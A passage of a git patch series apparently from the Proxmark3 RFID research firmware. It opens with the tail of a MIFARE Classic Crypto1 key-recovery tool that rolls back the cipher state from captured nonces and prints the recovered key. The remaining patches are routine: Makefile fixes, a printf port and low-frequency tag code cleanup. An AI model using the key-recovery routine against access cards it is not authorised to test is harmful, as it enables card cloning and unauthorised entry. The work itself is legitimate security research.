|",ks3x[i], ks3x[i]^5); + for (pos=0; pos<7; pos++) printf("%01x,",par[i][pos]); + printf("%01x|\n",par[i][7]); + } + + state = lfsr_common_prefix(nr,rr,ks3x,par); + lfsr_rollback_word(state,uid^nt,0); + crypto1_get_lfsr(state,&key_recovered); + printf("\nkey recovered: %012llx\n\n",key_recovered); + crypto1_destroy(state); + + return 0; +} -- 2.39.5 From 6c5ad038603d132d10802eecbef5c2f2547d94ae Mon Sep 17 00:00:00 2001 From: "roel@libnfc.org" Date: Wed, 30 Dec 2009 00:18:35 +0000 Subject: [PATCH 13/16] mifare usb update --- common/Makefile.common | 2 +- include/usb_cmd.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/common/Makefile.common b/common/Makefile.common index 66bdddab..c2903a8f 100644 --- a/common/Makefile.common +++ b/common/Makefile.common @@ -33,7 +33,7 @@ PATHSEP=/ FLASH_TOOL=client/flasher DETECTED_OS=UNAME # You may/should set this in your environment -LIBGCC ?= $(shell $(CC) -print-file-name=interwork/libgcc.a) +LIBGCC ?= $(shell $(CC) -print-libgcc-file-name) else diff --git a/include/usb_cmd.h b/include/usb_cmd.h index 40e4dc8c..9e2acf6e 100644 --- a/include/usb_cmd.h +++ b/include/usb_cmd.h @@ -80,6 +80,7 @@ typedef struct { #define CMD_SIMULATE_MIFARE_CARD 0x0386 #define CMD_SIMULATE_TAG_LEGIC_RF 0x0387 #define CMD_READER_LEGIC_RF 0x0388 +#define CMD_READER_MIFARE 0x0389 // For measurements of the antenna tuning #define CMD_MEASURE_ANTENNA_TUNING 0x0400 -- 2.39.5 From f39c4119e0687fd35689fb971687e9bb1585ffe8 Mon Sep 17 00:00:00 2001 From: bushing Date: Wed, 30 Dec 2009 00:49:27 +0000 Subject: [PATCH 14/16] Fix QT CXXFLAGS/LDFLAGS --- client/Makefile | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/Makefile b/client/Makefile index 8786701f..2d516ac7 100644 --- a/client/Makefile +++ b/client/Makefile @@ -11,11 +11,11 @@ CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null) ifeq ($(shell uname),Darwin) -CXXFLAGS += -DQ_WS_MAC32 -CFLAGS += -QTLDLIBS += +CXXFLAGS = -I/Library/Frameworks/QtGui.framework/Versions/Current/Headers -I/Library/Frameworks/QtCore.framework/Versions/Current/Headers +QTLDLIBS = -framework QtGui -framework QtCore +MOC = moc endif -QTLDLIBS= + ifneq ($(QTLDLIBS),) QTGUI = proxgui.o proxguiqt.o proxguiqt.moc.o CFLAGS += -DHAVE_GUI -- 2.39.5 From 6f5cb60c46af439ef5d0246f1b34d65bc19eb44d Mon Sep 17 00:00:00 2001 From: bushing Date: Wed, 30 Dec 2009 02:18:25 +0000 Subject: [PATCH 15/16] Add printf, and start transitioning away from DbpInteger --- armsrc/Makefile | 2 +- armsrc/lfops.c | 47 +++-- armsrc/printf.c | 445 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 475 insertions(+), 19 deletions(-) create mode 100644 armsrc/printf.c diff --git a/armsrc/Makefile b/armsrc/Makefile index 97805b7a..227f3747 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -17,7 +17,7 @@ THUMBSRC = start.c \ $(SRC_LCD) \ $(SRC_ISO15693) \ $(SRC_LF) \ - appmain.c \ + appmain.c printf.c \ util.c \ usb.c diff --git a/armsrc/lfops.c b/armsrc/lfops.c index c2d908df..6c9a36f7 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -9,6 +9,8 @@ #include "hitag2.h" #include "../common/crc16.c" +int sprintf(char *dest, const char *fmt, ...); + void AcquireRawAdcSamples125k(BOOL at134khz) { if(at134khz) { @@ -38,24 +40,25 @@ void DoAcquisition125k(BOOL at134khz) BYTE *dest = (BYTE *)BigBuf; int n = sizeof(BigBuf); int i; - + char output_string[64]; + memset(dest,0,n); i = 0; for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { AT91C_BASE_SSC->SSC_THR = 0x43; LED_D_ON(); } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + if(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { dest[i] = (BYTE)AT91C_BASE_SSC->SSC_RHR; i++; LED_D_OFF(); - if(i >= n) { - break; - } + if (i >= n) break; } } - DbpIntegers(dest[0], dest[1], at134khz); + sprintf(output_string, "read samples, dest[0]=%x dest[1]=%x at134khz=%d", + dest[0], dest[1], at134khz); + DbpString(output_string); } void ModThenAcquireRawAdcSamples125k(int delay_off,int period_0,int period_1,BYTE *command) @@ -254,11 +257,13 @@ void ReadTItag() crc = update_crc16(crc, (shift1>>16)&0xff); crc = update_crc16(crc, (shift1>>24)&0xff); - DbpString("Info: Tag data_hi, data_lo, crc = "); - DbpIntegers(shift1, shift0, shift2&0xffff); + char output_string[64]; + sprintf(output_string, "Info: Tag data_hi=%x, data_lo=%x, crc=%x", + (unsigned int)shift1, (unsigned int)shift0, (unsigned int)shift2 & 0xFFFF); + DbpString(output_string); if (crc != (shift2&0xffff)) { - DbpString("Error: CRC mismatch, expected"); - DbpIntegers(0, 0, crc); + sprintf(output_string, "Error: CRC mismatch, expected %x", (unsigned int)crc); + DbpString(output_string); } else { DbpString("Info: CRC is good"); } @@ -381,8 +386,10 @@ void WriteTItag(DWORD idhi, DWORD idlo, WORD crc) crc = update_crc16(crc, (idhi>>16)&0xff); crc = update_crc16(crc, (idhi>>24)&0xff); } - DbpString("Writing the following data to tag:"); - DbpIntegers(idhi, idlo, crc); + char output_string[64]; + sprintf(output_string, "Writing the following data to tag: %x, %x, %x", + (unsigned int) idhi, (unsigned int) idlo, crc); + DbpString(output_string); // TI tags charge at 134.2Khz FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz @@ -395,7 +402,7 @@ void WriteTItag(DWORD idhi, DWORD idlo, WORD crc) // steal this pin from the SSP and use it to control the modulation AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; // writing algorithm: // a high bit consists of a field off for 1ms and field on for 1ms @@ -926,8 +933,10 @@ void CmdHIDdemodFSK(int findone, int *high, int *low, int ledcontrol) found=1; idx+=6; if (found && (hi|lo)) { - DbpString("TAG ID"); - DbpIntegers(hi, lo, (lo>>1)&0xffff); + char output_string[64]; + sprintf(output_string, "TAG ID: %x %x %x", + (unsigned int) hi, (unsigned int) lo, (unsigned int) (lo>>1) & 0xFFFF); + DbpString(output_string); /* if we're only looking for one tag */ if (findone) { @@ -959,8 +968,10 @@ void CmdHIDdemodFSK(int findone, int *high, int *low, int ledcontrol) found=1; idx+=6; if (found && (hi|lo)) { - DbpString("TAG ID"); - DbpIntegers(hi, lo, (lo>>1)&0xffff); + char output_string[64]; + sprintf(output_string, "TAG ID: %x %x %x", + (unsigned int) hi, (unsigned int) lo, (unsigned int) (lo>>1) & 0xFFFF); + DbpString(output_string); /* if we're only looking for one tag */ if (findone) { diff --git a/armsrc/printf.c b/armsrc/printf.c new file mode 100644 index 00000000..6060870d --- /dev/null +++ b/armsrc/printf.c @@ -0,0 +1,445 @@ +/*- + * Copyright (c) 1986, 1988, 1991, 1993 + * The Regents of the University of California. All rights reserved. + * (c) UNIX System Laboratories, Inc. + * All or some portions of this file are derived from material licensed + * to the University of California by American Telephone and Telegraph + * Co. or Unix System Laboratories, Inc. and are reproduced herein with + * the permission of UNIX System Laboratories, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)subr_prf.c 8.3 (Berkeley) 1/21/94 + */ + +typedef unsigned long size_t; +typedef long ssize_t; +#ifdef __64BIT__ +typedef unsigned long long uintmax_t; +typedef long long intmax_t; +#else +typedef unsigned int uintmax_t; +typedef int intmax_t; +#endif +typedef unsigned char u_char; +typedef unsigned int u_int; +typedef unsigned long u_long; +typedef unsigned short u_short; +typedef unsigned long long u_quad_t; +typedef long long quad_t; +typedef unsigned long uintptr_t; +typedef long ptrdiff_t; +#define NULL ((void*)0) +#define NBBY 8 /* number of bits in a byte */ +char const hex2ascii_data[] = "0123456789abcdefghijklmnopqrstuvwxyz"; +#define hex2ascii(hex) (hex2ascii_data[hex]) +#define va_list __builtin_va_list +#define va_start __builtin_va_start +#define va_arg __builtin_va_arg +#define va_end __builtin_va_end +#define toupper(c) ((c) - 0x20 * (((c) >= 'a') && ((c) <= 'z'))) +static size_t +strlen(const char *s) +{ + size_t l = 0; + while (*s++) + l++; + return l; +} + +/* Max number conversion buffer length: a u_quad_t in base 2, plus NUL byte. */ +#define MAXNBUF (sizeof(intmax_t) * NBBY + 1) + +/* + * Put a NUL-terminated ASCII number (base <= 36) in a buffer in reverse + * order; return an optional length and a pointer to the last character + * written in the buffer (i.e., the first character of the string). + * The buffer pointed to by `nbuf' must have length >= MAXNBUF. + */ +static char * +ksprintn(char *nbuf, uintmax_t num, int base, int *lenp, int upper) +{ + char *p, c; + + p = nbuf; + *p = '\0'; + do { + c = hex2ascii(num % base); + *++p = upper ? toupper(c) : c; + } while (num /= base); + if (lenp) + *lenp = p - nbuf; + return (p); +} + +/* + * Scaled down version of printf(3). + * + * Two additional formats: + * + * The format %b is supported to decode error registers. + * Its usage is: + * + * printf("reg=%b\n", regval, "*"); + * + * where is the output base expressed as a control character, e.g. + * \10 gives octal; \20 gives hex. Each arg is a sequence of characters, + * the first of which gives the bit number to be inspected (origin 1), and + * the next characters (up to a control character, i.e. a character <= 32), + * give the name of the register. Thus: + * + * kvprintf("reg=%b\n", 3, "\10\2BITTWO\1BITONE\n"); + * + * would produce output: + * + * reg=3 + * + * XXX: %D -- Hexdump, takes pointer and separator string: + * ("%6D", ptr, ":") -> XX:XX:XX:XX:XX:XX + * ("%*D", len, ptr, " " -> XX XX XX XX ... + */ +int +kvsprintf(char const *fmt, void *arg, int radix, va_list ap) +{ +#define PCHAR(c) {int cc=(c); *d++ = cc; retval++; } + char nbuf[MAXNBUF]; + char *d; + const char *p, *percent, *q; + u_char *up; + int ch, n; + uintmax_t num; + int base, lflag, qflag, tmp, width, ladjust, sharpflag, neg, sign, dot; + int cflag, hflag, jflag, tflag, zflag; + int dwidth, upper; + char padc; + int stop = 0, retval = 0; + + num = 0; + d = (char *) arg; + + if (fmt == NULL) + fmt = "(fmt null)\n"; + + if (radix < 2 || radix > 36) + radix = 10; + + for (;;) { + padc = ' '; + width = 0; + while ((ch = (u_char)*fmt++) != '%' || stop) { + PCHAR(ch); + if (ch == '\0') + return (retval); + } + percent = fmt - 1; + qflag = 0; lflag = 0; ladjust = 0; sharpflag = 0; neg = 0; + sign = 0; dot = 0; dwidth = 0; upper = 0; + cflag = 0; hflag = 0; jflag = 0; tflag = 0; zflag = 0; +reswitch: switch (ch = (u_char)*fmt++) { + case '.': + dot = 1; + goto reswitch; + case '#': + sharpflag = 1; + goto reswitch; + case '+': + sign = 1; + goto reswitch; + case '-': + ladjust = 1; + goto reswitch; + case '%': + PCHAR(ch); + break; + case '*': + if (!dot) { + width = va_arg(ap, int); + if (width < 0) { + ladjust = !ladjust; + width = -width; + } + } else { + dwidth = va_arg(ap, int); + } + goto reswitch; + case '0': + if (!dot) { + padc = '0'; + goto reswitch; + } + case '1': case '2': case '3': case '4': + case '5': case '6': case '7': case '8': case '9': + for (n = 0;; ++fmt) { + n = n * 10 + ch - '0'; + ch = *fmt; + if (ch < '0' || ch > '9') + break; + } + if (dot) + dwidth = n; + else + width = n; + goto reswitch; + case 'b': + num = (u_int)va_arg(ap, int); + p = va_arg(ap, char *); + for (q = ksprintn(nbuf, num, *p++, NULL, 0); *q;) + PCHAR(*q--); + + if (num == 0) + break; + + for (tmp = 0; *p;) { + n = *p++; + if (num & (1 << (n - 1))) { + PCHAR(tmp ? ',' : '<'); + for (; (n = *p) > ' '; ++p) + PCHAR(n); + tmp = 1; + } else + for (; *p > ' '; ++p) + continue; + } + if (tmp) + PCHAR('>'); + break; + case 'c': + PCHAR(va_arg(ap, int)); + break; + case 'D': + up = va_arg(ap, u_char *); + p = va_arg(ap, char *); + if (!width) + width = 16; + while(width--) { + PCHAR(hex2ascii(*up >> 4)); + PCHAR(hex2ascii(*up & 0x0f)); + up++; + if (width) + for (q=p;*q;q++) + PCHAR(*q); + } + break; + case 'd': + case 'i': + base = 10; + sign = 1; + goto handle_sign; + case 'h': + if (hflag) { + hflag = 0; + cflag = 1; + } else + hflag = 1; + goto reswitch; + case 'j': + jflag = 1; + goto reswitch; + case 'l': + if (lflag) { + lflag = 0; + qflag = 1; + } else + lflag = 1; + goto reswitch; + case 'n': + if (jflag) + *(va_arg(ap, intmax_t *)) = retval; + else if (qflag) + *(va_arg(ap, quad_t *)) = retval; + else if (lflag) + *(va_arg(ap, long *)) = retval; + else if (zflag) + *(va_arg(ap, size_t *)) = retval; + else if (hflag) + *(va_arg(ap, short *)) = retval; + else if (cflag) + *(va_arg(ap, char *)) = retval; + else + *(va_arg(ap, int *)) = retval; + break; + case 'o': + base = 8; + goto handle_nosign; + case 'p': + base = 16; + sharpflag = (width == 0); + sign = 0; + num = (uintptr_t)va_arg(ap, void *); + goto number; + case 'q': + qflag = 1; + goto reswitch; + case 'r': + base = radix; + if (sign) + goto handle_sign; + goto handle_nosign; + case 's': + p = va_arg(ap, char *); + if (p == NULL) + p = "(null)"; + if (!dot) + n = strlen (p); + else + for (n = 0; n < dwidth && p[n]; n++) + continue; + + width -= n; + + if (!ladjust && width > 0) + while (width--) + PCHAR(padc); + while (n--) + PCHAR(*p++); + if (ladjust && width > 0) + while (width--) + PCHAR(padc); + break; + case 't': + tflag = 1; + goto reswitch; + case 'u': + base = 10; + goto handle_nosign; + case 'X': + upper = 1; + case 'x': + base = 16; + goto handle_nosign; + case 'y': + base = 16; + sign = 1; + goto handle_sign; + case 'z': + zflag = 1; + goto reswitch; +handle_nosign: + sign = 0; + if (jflag) + num = va_arg(ap, uintmax_t); + else if (qflag) + num = va_arg(ap, u_quad_t); + else if (tflag) + num = va_arg(ap, ptrdiff_t); + else if (lflag) + num = va_arg(ap, u_long); + else if (zflag) + num = va_arg(ap, size_t); + else if (hflag) + num = (u_short)va_arg(ap, int); + else if (cflag) + num = (u_char)va_arg(ap, int); + else + num = va_arg(ap, u_int); + goto number; +handle_sign: + if (jflag) + num = va_arg(ap, intmax_t); + else if (qflag) + num = va_arg(ap, quad_t); + else if (tflag) + num = va_arg(ap, ptrdiff_t); + else if (lflag) + num = va_arg(ap, long); + else if (zflag) + num = va_arg(ap, ssize_t); + else if (hflag) + num = (short)va_arg(ap, int); + else if (cflag) + num = (char)va_arg(ap, int); + else + num = va_arg(ap, int); +number: + if (sign && (intmax_t)num < 0) { + neg = 1; + num = -(intmax_t)num; + } + p = ksprintn(nbuf, num, base, &tmp, upper); + if (sharpflag && num != 0) { + if (base == 8) + tmp++; + else if (base == 16) + tmp += 2; + } + if (neg) + tmp++; + + if (!ladjust && padc != '0' && width + && (width -= tmp) > 0) + while (width--) + PCHAR(padc); + if (neg) + PCHAR('-'); + if (sharpflag && num != 0) { + if (base == 8) { + PCHAR('0'); + } else if (base == 16) { + PCHAR('0'); + PCHAR('x'); + } + } + if (!ladjust && width && (width -= tmp) > 0) + while (width--) + PCHAR(padc); + + while (*p) + PCHAR(*p--); + + if (ladjust && width && (width -= tmp) > 0) + while (width--) + PCHAR(padc); + + break; + default: + while (percent < fmt) + PCHAR(*percent++); + /* + * Since we ignore an formatting argument it is no + * longer safe to obey the remaining formatting + * arguments as the arguments will no longer match + * the format specs. + */ + stop = 1; + break; + } + } + PCHAR(0); + return retval; +#undef PCHAR +} + +int +sprintf(char *dest, const char *fmt, ...) +{ + /* http://www.pagetable.com/?p=298 */ + int retval; + va_list ap; + + va_start(ap, fmt); + retval = kvsprintf(fmt, dest, 10, ap); + va_end(ap); + return retval; +} -- 2.39.5 From 0d974852ce6c2b5ab634db92dfc07c8387e753c0 Mon Sep 17 00:00:00 2001 From: bushing Date: Wed, 30 Dec 2009 02:52:33 +0000 Subject: [PATCH 16/16] ARM code cleanup (lfops) --- armsrc/apps.h | 5 ++-- armsrc/lfops.c | 72 +++++++++++++++++++++++--------------------------- 2 files changed, 35 insertions(+), 42 deletions(-) diff --git a/armsrc/apps.h b/armsrc/apps.h index 95080eae..fba62365 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -25,7 +25,7 @@ void ToSendStuffBit(int b); void ToSendReset(void); void ListenReaderField(int limit); void AcquireRawAdcSamples125k(BOOL at134khz); -void DoAcquisition125k(BOOL at134khz); +void DoAcquisition125k(void); extern int ToSendMax; extern BYTE ToSend[]; extern DWORD BigBuf[]; @@ -71,9 +71,8 @@ void SetAdcMuxFor(DWORD whichGpio); /// lfops.h void AcquireRawAdcSamples125k(BOOL at134khz); -void DoAcquisition125k(BOOL at134khz); void ModThenAcquireRawAdcSamples125k(int delay_off,int period_0,int period_1,BYTE *command); -void ReadTItag(); +void ReadTItag(void); void WriteTItag(DWORD idhi, DWORD idlo, WORD crc); void AcquireTiType(void); void AcquireRawBitsTI(void); diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 6c9a36f7..eeaa5782 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -13,13 +13,12 @@ int sprintf(char *dest, const char *fmt, ...); void AcquireRawAdcSamples125k(BOOL at134khz) { - if(at134khz) { + if (at134khz) FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } else { + else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); // Connect the A/D to the peak-detected low-frequency path. SetAdcMuxFor(GPIO_MUXSEL_LOPKD); @@ -31,37 +30,37 @@ void AcquireRawAdcSamples125k(BOOL at134khz) FpgaSetupSsc(); // Now call the acquisition routine - DoAcquisition125k(at134khz); + DoAcquisition125k(); } // split into two routines so we can avoid timing issues after sending commands // -void DoAcquisition125k(BOOL at134khz) +void DoAcquisition125k(void) { BYTE *dest = (BYTE *)BigBuf; int n = sizeof(BigBuf); int i; char output_string[64]; - memset(dest,0,n); + memset(dest, 0, n); i = 0; for(;;) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { AT91C_BASE_SSC->SSC_THR = 0x43; LED_D_ON(); } - if(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { dest[i] = (BYTE)AT91C_BASE_SSC->SSC_RHR; i++; LED_D_OFF(); if (i >= n) break; } } - sprintf(output_string, "read samples, dest[0]=%x dest[1]=%x at134khz=%d", - dest[0], dest[1], at134khz); + sprintf(output_string, "read samples, dest[0]=%x dest[1]=%x", + dest[0], dest[1]); DbpString(output_string); } -void ModThenAcquireRawAdcSamples125k(int delay_off,int period_0,int period_1,BYTE *command) +void ModThenAcquireRawAdcSamples125k(int delay_off, int period_0, int period_1, BYTE *command) { BOOL at134khz; @@ -70,18 +69,17 @@ void ModThenAcquireRawAdcSamples125k(int delay_off,int period_0,int period_1,BYT SpinDelay(2500); // see if 'h' was specified - if(command[strlen((char *) command) - 1] == 'h') - at134khz= TRUE; + if (command[strlen((char *) command) - 1] == 'h') + at134khz = TRUE; else - at134khz= FALSE; + at134khz = FALSE; - if(at134khz) { + if (at134khz) FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } else { + else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); // Give it a bit of time for the resonant antenna to settle. SpinDelay(50); @@ -92,38 +90,34 @@ void ModThenAcquireRawAdcSamples125k(int delay_off,int period_0,int period_1,BYT FpgaSetupSsc(); // now modulate the reader field - while(*command != '\0' && *command != ' ') - { + while(*command != '\0' && *command != ' ') { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); SpinDelayUs(delay_off); - if(at134khz) { + if (at134khz) FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } else { + else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); LED_D_ON(); - if(*(command++) == '0') { + if(*(command++) == '0') SpinDelayUs(period_0); - } else { + else SpinDelayUs(period_1); - } - } + } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); SpinDelayUs(delay_off); - if(at134khz) { + if (at134khz) FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } else { + else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); - } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER); // now do the read - DoAcquisition125k(at134khz); + DoAcquisition125k(); } /* blank r/w tag data stream @@ -135,7 +129,7 @@ void ModThenAcquireRawAdcSamples125k(int delay_off,int period_0,int period_1,BYT [5555fe852c5555555555555555fe0000] */ -void ReadTItag() +void ReadTItag(void) { // some hardcoded initial params // when we read a TI tag we sample the zerocross line at 2Mhz @@ -311,7 +305,7 @@ void AcquireTiType(void) // steal this pin from the SSP and use it to control the modulation AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; AT91C_BASE_SSC->SSC_CR = AT91C_SSC_RXEN | AT91C_SSC_TXEN; -- 2.39.5